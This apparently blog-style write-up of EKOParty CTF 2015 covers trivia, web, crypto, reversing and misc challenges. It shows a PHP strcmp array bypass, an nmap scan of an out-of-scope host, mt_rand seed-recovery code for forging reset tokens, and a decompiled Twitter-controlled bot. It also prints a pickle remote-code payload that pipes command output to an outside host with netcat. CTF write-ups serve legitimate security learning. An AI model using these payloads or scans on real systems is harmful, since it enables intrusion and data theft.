EKOParty CTF 2015 Writeups
- TRV50 - Slogans
- TRV70 - Banner
- TRV80 - Mr Anderson
- TRV90 - SSL Attack
- TRV100 - Blocking Truck
- WEB50 - Pass Check
- WEB100 - Custom ACL
- Rand DOOM
- CRY50 - SCYTCrypto
- CRY 100 - Weird Vigenere
- CRY300 - VBOX DIE
- REV50 - Patch Me
- REV200 - Malware
- MISC50 - Olive
As I enjoyed the Pre-CTF hosted by EKOParty so much, I decided to take part in the actual CTF event. It's safe to say, I was not disappointeded!
TRV50 - Slogans
EKO{ekopartyslogan2008_ekopartyslogan2009}
This challenge requires us to find the slogans for 2008 and 2009. After a short amount of Googleing, I come across this blog post.
http://www.kungfoosion.com/2010/05/inventa-el-slogan-de-la-ekoparty.html
EKO{Vi root y entre_What if r00t was one of us?}
TRV70 - Banner
Find the flag in our stand! (it works too if you are not at ekoparty)
This challenge just required us to find a banner of the organisers, NULL Life. Thankfully, there was a Tweet including a photo of their banner, on their Twitter stream.
https://twitter.com/NullLifeTeam/status/656924094668120065/photo/1?ref_src=twsrc%5Etfw
EKO{#2015#}
TRV80 - Mr Anderson
What is the favorite music artist of the last hacker serie? (without spaces)
The most recent series relating to hackers is ‘Mr Robot’.
After searching for Trivia on Mr Robot, I come across this (http://www.imdb.com/title/tt4158110/trivia).
Elliot can be seen writing Wish You Were Here on a CD, his collection also contains Pink Floyd albums, you can spot a Dark Side of The Moon mug in one of the episodes, and in ep 6 he talks about Pink Floyd among other artists.
Pink Floyd – nice! Our flag is now obvious.
EKO{PinkFloyd}
TRV90 - SSL Attack
Name of one of the SSL attacks presented at ekoparty
There have been a number of high profile SSL vulnerabilities recently. After a few tries in Google, we come across the correct answer. I could of just tried all of the names of the recent 'branded' attacks, but oh well.
EKO{BEAST}
TRV100 - Blocking Truck
There is a blue truck blocking the event entrance, can you tell us what is the URL to contact them (as it can be seen)?
After checking Twitter and the various sites linked from the CTF site, I came up empty. I decided to check on Google Maps Street View, and came up with the answer. We can see a Blue Truck outside the EKOPARTY location.
EKO{www.desimonehnos.com.ar}
WEB50 - Pass Check
There is something wrong with our pass validation, find it and get the flag. http://ctfchallenges.ctf.site:10000/passcheck/
This challenge requires that we send a pin. The site will return 'wrong' if it is not correct.
The comparison is not type safe, so if we send an array we can bypass the check all together.
Request
POST http://ctfchallenges.ctf.site:10000/passcheck/index.php HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:41.0) Gecko/20100101 Firefox/41.0
Accept: */*
Accept-Language: en-GB,en;q=0.5
X-Requested-With: XMLHttpRequest
Referer: http://ctfchallenges.ctf.site:10000/passcheck/
Content-Length: 14
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Host: ctfchallenges.ctf.site:10000
password[]=123
Response headers
Response
HTTP/1.1 200 OK
Date: Thu, 22 Oct 2015 12:35:36 GMT
Server: Apache
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
X-Frame-Options: sameorigin
Content-Length: 98
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
Response body
<?php die();
/*
Binary safe string comparison? right...
Your flag is EKO{strcmp_not_s0_s4f3}
*/
Great - there's our flag!
EKO{strcmp_not_s0_s4f3}
WEB100 - Custom ACL
This admin site is protected with a self-made ACL, find a way to get the acces! http://ctfchallenges.ctf.site:10000/ipfilter/admin.php
We’re given a URL to check out, which apparently has a custom ACL implemented. Looking at the URL, I guess we’ve got an IP filter of some sort. This assumption is confirmed when we visit the file named 'admin.phps', and get the source of the script.
<?php
include ('flag.php');
if (isset($_SERVER['REMOTE_ADDR'])) $remote_ip = $_SERVER['REMOTE_ADDR'];
else die('Err');
$octets = explode('.', $remote_ip, 4);
if ($octets[0] == '67'
&& $octets[1] == '222'
&& $octets[2] == '139'
&& intval($octets[3]) >= 223
&& intval($octets[3]) <= 230) {
if (isset($_POST['admin'])) {
$admin = $_POST['admin'];
$is_admin = 1;
print strlen($admin);
if (strlen($admin) == 256) {
for ($i = 0; $i < 256; $i++) {
if ($admin[$i] != chr($i)) $is_admin = 0;
}
} else $is_admin = 0;
if ($is_admin == 1) echo "Your flag is $flag";
else die('Err');
} else die('Err');
} else die('Err');
?>
So, our IP needs to be in the range of ‘67.222.139.223-230’. Let’s do a port scan on that range (sorry guys - there was later a note added to NOT scan the IPs).
The only host that reports as being up is 67.222.139.223.
Nmap scan report for serverIP223.runnable.com (67.222.139.223)
Host is up (0.14s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u2 (protocol 2.0)
| ssh-hostkey: 1024 1e:36:bf:af:9c:a5:c7:82:87:8c:6f:50:15:79:34:6a (DSA)
| 2048 35:4d:b8:aa:70:80:6b:1e:7d:4c:68:15:ae:ec:73:8d (RSA)
|_256 c4:1e:4a:e3:b9:fd:3b:28:fa:7f:68:b8:b7:75:9f:97 (ECDSA)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100024 1 36986/udp status
|_ 100024 1 50078/tcp status
3128/tcp open tcpwrapped
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.9
Uptime guess: 4.341 days (since Sun Oct 18 07:25:49 2015)
Network Distance: 13 hops
TCP Sequence Prediction: Difficulty=260 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 23/tcp)
HOP RTT ADDRESS
1 0.30 ms 46.101.0.253
2 0.45 ms 5.101.111.241
3 0.76 ms 212.119.29.53
4 134.39 ms ae-6.r02.amstnl02.nl.bb.gin.ntt.net (129.250.3.9)
5 7.56 ms ae-4.r23.londen03.uk.bb.gin.ntt.net (129.250.5.40)
6 104.28 ms ae-5.r23.asbnva02.us.bb.gin.ntt.net (129.250.6.162)
7 94.48 ms ae-0.r22.asbnva02.us.bb.gin.ntt.net (129.250.3.84)
8 129.40 ms ae-6.r22.dllstx09.us.bb.gin.ntt.net (129.250.5.12)
9 91.37 ms ae-0.r22.asbnva02.us.bb.gin.ntt.net (129.250.3.84)
10 131.64 ms ae-6.r22.dllstx09.us.bb.gin.ntt.net (129.250.5.12)
11 129.38 ms Jcore4.0.dal.colo4.com (206.123.64.222)
12 132.22 ms xe-0-4-0-12.r01.dllstx04.us.ce.gin.ntt.net (129.250.202.254)
13 139.50 ms serverIP223.runnable.com (67.222.139.223)
Visiting port 3128 comes back with a 501 error, stating the GET method is unavailable.
HTTP/1.1 501 method 'GET' not available
Cache-Control: max-age=0
Connection: close
Date: Thu, 22 Oct 2015 19:38:58 GMT
Pragma: no-cache
Server: pve-api-daemon/3.0
Expires: Thu, 22 Oct 2015 19:38:58 GMT
A CONNECT request comes back with a 401, stating an invalid ticket.
HTTP/1.1 401 invalid ticket
Cache-Control: max-age=0
Connection: close
Date: Thu, 22 Oct 2015 19:40:21 GMT
Pragma: no-cache
Server: pve-api-daemon/3.0
Expires: Thu, 22 Oct 2015 19:40:21 GMT
I Google for the server string ‘pve-api-daemon/3.0’.
This looks like a daemon for Proxmox. A dead end I think..however I look at the nmap results again.
The tracert resolves the IP to a subdomain of ‘runnable.com’. You can run your own code at http://code.runnable.com/. Let’s see if we can run some code to finish this challenge.
After performing a simple WGET call in a bash script on runnable, I check my web logs.
67.222.139.229 - - [22/Oct/2015:15:43:42 -0400] "GET / HTTP/1.1" 200 3763 "-" "Wget/1.14 (linux-gnu)"
Great – the request came from our desired range. Time to finish up here.
Looking at the script above, not only does our request need to come from the above IP range, but we also need to include a POST parameter named ‘admin’, which contains all 255 ASCII characters. Fair enough..
curl -v -X POST --data "admin=%00%01%02%03%04%05%06%07%08%09%0a%0b%0c%0d%0e%0f%10%11%12%13%14%15%16%17%18%19%1a%1b%1c%1d%1e%1f%20%21%22%23%24%25%26%27%28%29%2a%2b%2c%2d%2e%2f%30%31%32%33%34%35%36%37%38%39%3a%3b%3c%3d%3e%3f%40%41%42%43%44%45%46%47%48%49%4a%4b%4c%4d%4e%4f%50%51%52%53%54%55%56%57%58%59%5a%5b%5c%5d%5e%5f%60%61%62%63%64%65%66%67%68%69%6a%6b%6c%6d%6e%6f%70%71%72%73%74%75%76%77%78%79%7a%7b%7c%7d%7e%7f%80%81%82%83%84%85%86%87%88%89%8a%8b%8c%8d%8e%8f%90%91%92%93%94%95%96%97%98%99%9a%9b%9c%9d%9e%9f%a0%a1%a2%a3%a4%a5%a6%a7%a8%a9%aa%ab%ac%ad%ae%af%b0%b1%b2%b3%b4%b5%b6%b7%b8%b9%ba%bb%bc%bd%be%bf%c0%c1%c2%c3%c4%c5%c6%c7%c8%c9%ca%cb%cc%cd%ce%cf%d0%d1%d2%d3%d4%d5%d6%d7%d8%d9%da%db%dc%dd%de%df%e0%e1%e2%e3%e4%e5%e6%e7%e8%e9%ea%eb%ec%ed%ee%ef%f0%f1%f2%f3%f4%f5%f6%f7%f8%f9%fa%fb%fc%fd%fe%ff" http://ctfchallenges.ctf.site:10000/ipfilter/admin.php
Executing Run Command: sh /root/main.sh
* About to connect() to ctfchallenges.ctf.site port 10000 (#0)
* Trying 52.91.252.220...
* Connected to ctfchallenges.ctf.site (52.91.252.220) port 10000 (#0)
> POST /ipfilter/admin.php HTTP/1.1
> User-Agent: curl/7.29.0
> Host: ctfchallenges.ctf.site:10000
> Accept: */*
> Content-Length: 774
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 774 out of 774 bytes
< HTTP/1.1 200 OK
< Date: Thu, 22 Oct 2015 20:37:00 GMT
< Server: Apache
< X-Content-Type-Options: nosniff
< X-Frame-Options: sameorigin
< Content-Length: 48
< Content-Type: text/html
<
256Your flag is EKO{runnable_com_31337_s3rv1c3}
* Connection #0 to host ctfchallenges.ctf.site left intact
Process exited successfully
Awesome – there's our flag!
EKO{runnable_com_31337_s3rv1c3}
Rand DOOM
Do you think this password recovery is safe? http://ctfchallenges.ctf.site:10000/randoom/
We’re given a URL. After visiting it, I find a hidden link the source which shows us the full source code of the page.
<?php
namespace RandomChallenge;
include('functions.php');
function generate_token() {
$key = '';
do {
$key .= chr(mt_rand());
$key = preg_replace('/[^\w]/', '', $key);
} while(strlen($key) < 60);
return $key;
}
function option() {
global $option;
switch ($option) {
case 'request_token':
$id = bin2hex(
mcrypt_encrypt(
MCRYPT_RIJNDAEL_128,
"\x9c\xa3\xea\x44\xe0\x48\xcd\xb8\xb6\x1f\x2a\xbb\x37\x6d\x6c\xb9\x86\x7a\xfb\x1f\x40\xbd\xf8\x57\xa3\x56\x6a\xc1\x38\x4a\xdf\xc1",
mt_rand(),
MCRYPT_MODE_ECB
)
);
request_token($_POST['username'], generate_token(), $id);
break;
case 'reset_password':
reset_password($_GET['username'], $_GET['token']);
break;
case 'check_login':
check_login($_POST['username'], $_POST['password']);
break;
case 'recovery':
password_recovery();
break;
default:
login();
break;
}
}
header();
option();
footer();
Looking at this, we can exploit two things. Firstly, it’s using mt_rand, which has been shown to be insecure (http://www.openwall.com/lists/announce/2013/11/04/1), and secondly it’s encrypting the first value from mt_rand with a key we now know.
We can exploit the knowledge gained to retrieve the first value of mt_rand, which we can then use derive the seed used and subsequently the key generated.
<?php
// Decrypt and output the initial mt_rand value
echo mcrypt_decrypt(
MCRYPT_RIJNDAEL_128,
"\x9c\xa3\xea\x44\xe0\x48\xcd\xb8\xb6\x1f\x2a\xbb\x37\x6d\x6c\xb9\x86\x7a\xfb\x1f\x40\xbd\xf8\x57\xa3\x56\x6a\xc1\x38\x4a\xdf\xc1",
hex2bin(readline()),
MCRYPT_MODE_ECB);
// Run php_mt_rand to discover the potential seeds
// and then regenerate the key
$key = '';
$seed = readline();
mt_srand($seed);
mt_rand(); // initial call to mt_rand for serial number
do {
$key .= chr(mt_rand());
$key = preg_replace('/[^\w]/', '', $key);
} while(strlen($key) < 60);
echo $key."\n";
It took a few attempts, but we were able to get a password for an arbitrary user (test in this case). Upon logging in, we’re presented with a message saying we should contact an ‘administrator’ user with any questions.
I repeat the process above for the ‘administrator’ user, log in, and am presented with the flag.
Welcome back admin, EKO{seeding_haxors_for_fun_and_profit}
There's our flag!
EKO{seeding_haxors_for_fun_and_profit}
CRY50 - SCYTCrypto
Decrypt this strange word: ERTKSOOTCMCHYRAFYLIPL
Going off of the title of the challenge this sounds like a reference to the Scytale Cipher (https://en.wikipedia.org/wiki/Scytale).
Using this handy tool (http://www.dcode.fr/scytale-cipher), I iterate through turn numbers until we get something useful. The number of turns requires is actually 7.
The resulting plaintext is ‘EKOMYFIRSTCRYPTOCHALL’. There’s our flag!
EKO{MYFIRSTCRYPTOCHALL}
CRY 100 - Weird Vigenere
Crack it! crypto100.zip
Going through various analysis techniques for classic Vigenere, I come up blank.
I stumble upon this tool: http://www.guballa.de/vigenere-solver
After going through the variants, a solution is quickly found using the Beaufort variant.
The key is found as ‘wllvvvll’. The plaintext is as follows.
ANOTHERONEGOTCAUGHTTODAYITSALLOVERTHEPAPERSTEENAGERARRESTEDINCOMPUTERCRIMESCANDALHACKERARRESTEDAFTERBANKTAMPERINGDAMNKIDSTHEYREALLALIKEBUTDIDYOUINYOURTHREEPIECEPSYCHOLOGYANDSTECHNOBRAINEVERTAKEALOOKBEHINDTHEEYESOFTHEHACKERDIDYOUEVERWONDERWHATMADEHIMTICKWHATFORCESSHAPEDHIMWHATMAYHAVEMOLDEDHIMIAMAHACKERENTERMYWORLDMINEISAWORLDTHATBEGINSWITHSCHOOLIMSMARTERTHANMOSTOFTHEOTHERKIDSTHISCRAPTHEYTEACHUSBORESMEDAMNUNDERACHIEVERTHEYREALLALIKEIMINJUNIORHIGHORHIGHSCHOOLIVELISTENEDTOTEACHERSEXPLAINFORTHEFIFTEENTHTIMEHOWTOREDUCEAFRACTIONIUNDERSTANDITNOMSSMITHIDIDNTSHOWMYWORKIDIDITINMYHEADDAMNKIDPROBABLYCOPIEDITTHEYREALLALIKEIMADEADISCOVERYTODAYIFOUNDACOMPUTERWAITASECONDTHISISCOOLITDOESWHATIWANTITTOIFITMAKESAMISTAKEITSBECAUSEISCREWEDITUPNOTBECAUSEITDOESNTLIKEMEORFEELSTHREATENEDBYMEORTHINKSIMASMARTASSORDOESNTLIKETEACHINGANDSHOULDNTBEHEREDAMNKIDALLHEDOESISPLAYGAMESTHEYREALLALIKEANDTHENITHAPPENEDADOOROPENEDTOAWORLDRUSHINGTHROUGHTHEPHONELINELIKEHEROINTHROUGHANADDICTSVEINSANELECTRONICPULSEISSENTOUTAREFUGEFROMTHEDAYTODAYINCOMPETENCIESISSOUGHTABOARDISFOUNDTHISISITTHISISWHEREIBELONGIKNOWEVERYONEHEREEVENIFIVENEVERMETTHEMNEVERTALKEDTOTHEMMAYNEVERHEARFROMTHEMAGAINIKNOWYOUALLDAMNKIDTYINGUPTHEPHONELINEAGAINTHEYREALLALIKEYOUBETYOURASSWEREALLALIKEWEVEBEENSPOONFEDBABYFOODATSCHOOLWHENWEHUNGEREDFORSTEAKTHEBITSOFMEATTHATYOUDIDLETSLIPTHROUGHWEREPRECHEWEDANDTASTELESSWEVEBEENDOMINATEDBYSADISTSORIGNOREDBYTHEAPATHETICTHEFEWTHATHADSOMETHINGTOTEACHFOUNDUSWILLINGPUPILSBUTTHOSEFEWARELIKEDROPSOFWATERINTHEDESERTTHISISOURWORLDNOWTHEWORLDOFTHEELECTRONANDTHESWITCHTHEBEAUTYOFTHEBAUDWEMAKEUSEOFASERVICEALREADYEXISTINGWITHOUTPAYINGFORWHATCOULDBEDIRTCHEAPIFITWASNTRUNBYPROFITEERINGGLUTTONSANDYOUCALLUSCRIMINALSWEEXPLOREANDYOUCALLUSCRIMINALSWESEEKAFTERKNOWLEDGEANDYOUCALLUSCRIMINALSWEEXISTWITHOUTSKINCOLORWITHOUTNATIONALITYWITHOUTRELIGIOUSBIASANDYOUCALLUSCRIMINALSYOUBUILDATOMICBOMBSYOUWAGEWARSYOUMURDERCHEATANDLIETOUSANDTRYTOMAKEUSBELIEVEITSFOROUROWNGOODYETWERETHECRIMINALSYESIAMACRIMINALMYCRIMEISTHATOFCURIOSITYMYCRIMEISTHATOFJUDGINGPEOPLEBYWHATTHEYSAYANDTHINKNOTWHATTHEYLOOKLIKEMYCRIMEISTHATOFOUTSMARTINGYOUSOMETHINGTHATYOUWILLNEVERFORGIVEMEFORIAMAHACKERANDTHISISMYMANIFESTOYOUMAYSTOPTHISINDIVIDUALBUTYOUCANTSTOPUSALLAFTERALLWEREALLALIKETHISISYOURFLAGEKOCRYPTOBEAUFORT
Our flag is found at the end of this string of text.
EKO{CRYPTOBEAUFORT}
CRY300 - VBOX DIE
Someone is hidding a secret file on his system, help us finding the content of this file. crypto300.zip
We’re given a VirtualBox VM here that has a password required to start it.
Using the script from http://www.sinfocol.org/ we can retrieve the password of ‘angel’.
After starting up the VM, we try various credentials. The username of ‘root’ and the password of ‘root’ work – awesome!
Doing an ls shows a file named ‘secret_file.txt’. This contains a Base64 string reversed.
==9Z2ZhZnYj9lYnNGblB3Xsp3eChlU
We reverse it and then decode it.
>>> from base64 import b64decode
>>> b64decode('==9Z2ZhZnYj9lYnNGblB3Xsp3eChlU'[::-1])
'RXB{zl_pelcgb_cbvagf}'
Cool – looks like a ROT cipher. I try various offsets, and land on the following with ROT13.
EKO{my_crypto_points}
REV50 - Patch Me
Find a way to read the corrupted image! rev50.zip
This is a .net patching task. Using Reflector and Reflectrix, I invert the IF statement that checks to see if the checksum (in the last int in the provided XML file) is valid or not by switchin the 'beq.s' opcode at offset 0x45 of the 'open' function with the inverse - 'bne.un.s' Opening the patched EXE, and using the ‘File → Open’ menu item results in an image being displayed, which gives us the flag.
EKO{n1L+P4tch}
REV200 - Malware
Analyze the given malware and steal its info rev200.zip
For this challenge, we’re provided with a PYC file (Python bytecode) from a piece of malware. Our task is to retrieve the flag.
After decompiling using uncompyle2 (https://github.com/wibiti/uncompyle2), we can see the full source.
# 2015.10.22 22:07:29 BST
#Embedded file name: ekobot_final.py
import os
import sys
import httplib2
import cPickle
from Crypto.PublicKey import RSA
from base64 import b64decode
from twython import Twython
if 0:
i11iIiiIii
OO0o = 'ekoctf'
if 0:
Iii1I1 + OO0O0O % iiiii % ii1I - ooO0OO000o
if len(sys.argv) != 2:
os._exit(0)
if 0:
IiII1IiiIiI1 / iIiiiI1IiI1I1
o0OoOoOO00 = sys.argv[1]
if 0:
OOOo0 / Oo - Ooo00oOo00o.I1IiI
o0OOO = 'ienmDwTNHZVR9si4SzeCg1glB'
iIiiiI = 'TTlOJrwq5o9obnRyQXRyaOkRoYUBTrCzN9j9IHX0Bc4dS2xBHN'
if 0:
iii1II11ii * i11iII1iiI + iI1Ii11111iIi + ii1II11I1ii1I + oO0o0ooO0 - iiIIIII1i1iI
def o0oO0():
oo00 = 0
if os.path.isfile(o0OoOoOO00):
try:
o00 = open(o0OoOoOO00, 'r')
oo00 = int(o00.readline(), 10)
except:
oo00 = 0
return oo00
if 0:
II1ii - o0oOoO00o.ooO0OO000o + ii1II11I1ii1I.ooO0OO000o - iI1Ii11111iIi
def oo(twid):
try:
o00 = open(o0OoOoOO00, 'w')
o00.write(str(twid))
except:
if 0:
oO0o0ooO0 - OO0O0O - IiII1IiiIiI1.ii1II11I1ii1I * iiIIIII1i1iI * ii1I
if 0:
ii1II11I1ii1I
def oo00000o0(url):
I11i1i11i1I = httplib2.Http('')
Iiii, OOO0O = I11i1i11i1I.request(url, 'GET')
if Iiii.status == 200:
try:
if Iiii['content-type'][0:10] == 'text/plain':
return OOO0O
return 'Err'
except:
return 'Err'
else:
return url
if 0:
o0oOoO00o
def IiI1i(cipher_text):
try:
OOo0o0 = RSA.importKey(open('ekobot.pem').read())
O0OoOoo00o = b64decode(cipher_text)
iiiI11 = OOo0o0.decrypt(O0OoOoo00o)
return iiiI11
except Exception as OOooO:
print str(OOooO)
return 'Err'
if 0:
OOOo0 + Oo / ii1II11I1ii1I * iiiii
II111iiii = Twython(o0OOO, iIiiiI, oauth_version=2)
II = II111iiii.obtain_access_token()
II111iiii = Twython(o0OOO, access_token=II)
if 0:
Oo % ii1I
oo00 = o0oO0()
o0oOo0Ooo0O = II111iiii.search(q='#' + OO0o, rpp='250', result_type='mixed', since_id=oo00)
if 0:
I1IiI * iiIIIII1i1iI * iI1Ii11111iIi - oO0o0ooO0 - Ooo00oOo00o
for OooO0OO in o0oOo0Ooo0O['statuses']:
if OooO0OO['id'] > oo00:
oo00 = OooO0OO['id']
if 0:
ooO0OO000o
iii11iII = 0
try:
for i1I111I in OooO0OO['entities']['hashtags']:
if i1I111I['text'] == OO0o:
iii11iII = 1
if iii11iII == 1:
for i11I1IIiiIi in OooO0OO['entities']['urls']:
if os.fork() == 0:
IiIiIi = IiI1i(oo00000o0(i11I1IIiiIi['url']))
if IiIiIi[0:5] == 'eko11':
cPickle.loads(IiIiIi[5:])
os._exit(0)
if 0:
iii1II11ii.Oo.iIiiiI1IiI1I1.ii1I
except Exception as OOooO:
print str(OOooO)
if 0:
ii1II11I1ii1I + ooO0OO000o % i11iIiiIii.o0oOoO00o - IiII1IiiIiI1
oo(oo00)
So, after walking through this script, it’s essentially watching for any Twitter status messages using the hashtag ‘#ekoctf’. It will then proceed to extract a URL from the Tweet and fetch it (HTTP only). It will then Base64 decode the content of the file (if its mime type matches ‘text/plain’. It will then decrypt the text using a private key. If the resulting plaintext starts with the text ‘eko11’, it will then unpickle all the text after the 5th character. This of course means we should be able to execute arbitrary code.
First of all, we need the public key. After trawling Twitter for the #ekoctf hashtag, I come across this (https://twitter.com/NullLifeTeam/status/657208358408204288) Tweet.
NULL Life CTF Team @NullLifeTeam 17h hours ago
This could be interesting! https://paste.null-life.com/#/BXqHo9SH+9AS7qpNuADaV/FPwY3WoZ6hgGCb5mP54IhoGQrv+E0TP/Q0 … #ekoctf
The link points to this URL, which contains a Public RSA key.
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAmWw84H8BSPG1Ispn1hBP
WZ4ORxniLhOl76aOAsGsqdRZJyL+PFLWedGUx0ELwzf3vWQ2wMDwN37MZYWdS4z8
WT6P4FRtK09UtDgqNUQdx49WBqDf2GmIT+uBwMQBUCe3x+RTVcwDzA1I0mPtJj3K
6bGdmSSBZjgc6MA4rJil7xdSVP5Pedb8MZMKk/5tXmFl3gFjykkUfG+DbmsxulZ4
8D+IoIU6bVWAkael+ftZtDWY43XkezD2swV01Eaw4J7MzBakPDA6KipxNhKQZ2xo
eEsP2p8L67qF48eUbxI1ukcrqdy0c92rSihmChGBmHQ2AREshtTTLpM24/Nrirje
/QIDAQAB
-----END PUBLIC KEY-----
Great, time to build our payload
from Crypto.PublicKey import RSA
from base64 import *
import os
import cPickle
class Exploit(object):
def __reduce__(self):
return (os.system, ('ls | nc 111.111.111.111 6666',))
payload = 'eko11%s'%cPickle.dumps(Exploit())
public_key_file='ekobot.public.pem'
f = open(public_key_file, 'r')
publicKey = RSA.importKey(f.read(),None)
f.close()
print b64encode(publicKey.encrypt(payload, None)[0])
The output of this script is as follows.
W907QGrIK/ZMlGwnJePyo07VA2ERdaM1u88GOYAsw1mYwY8Ob9jI/9vkk5WWLooTreknCh6e0xlPy7MGAsyrPnMG1bsX4SwiSmSm4STn6+jk1/qgM8Apl/45YEU1A3XDAUolHlzxNJHZN/ZEY3gBIEwUGnOLOjolRQk95Ui7Da5vx9BIc8aY2migTGSI12DRu6y30TS1ISiZ/FTLLATPTLZK/4eBKmCxT37c6AUevC2K5QGyAOAP3WRW7ZeOF4++JvxVyahHo5s/wxvS852eNR94ZOqJ/0leYth7gfApe8OFRvXD8o+Flqn4kG6lhKv7z03sb7At4Kl1MdINcPL2ww==
Now, on our test machine, we’ll listen on port 6666 (IP obfuscated)
nc -l 111.111.111.111 6666
Next, I upload the result of the above Python script to a web server, named ‘eko.txt’.
Finally, I post the following Tweet (replacing HOSTNAME with our webserver address)
#ekoctf http://111.111.111.111/eko.txt
Waiting for a short time (30-40 seconds), on our netcat listener we get the following data
ekobot.pem ekobot.pub ekobot_final.py flag.txt
Awesome! Let’s change the payload to read ‘flag.txt’ and return it to our listener. Waiting 30-40 seconds again after Tweeting, we are rewarded with our flag!
EKO{simple_C&C_RSAtu1ts}
MISC50 - Olive
Recover the flag from this session misc50.zip
We’re given a PCAP file in this challenge. After opening it in WireShark and inspecting the various traffic sources / destinations, I found an unencrypted VNC session. Included in this VNC session were various mouse and keyboard events.
After extracting the keyboard events, we can see the user opening notepad, and entering the following text.
can you see me
EKO{NOT_anym0re_VNC_hax}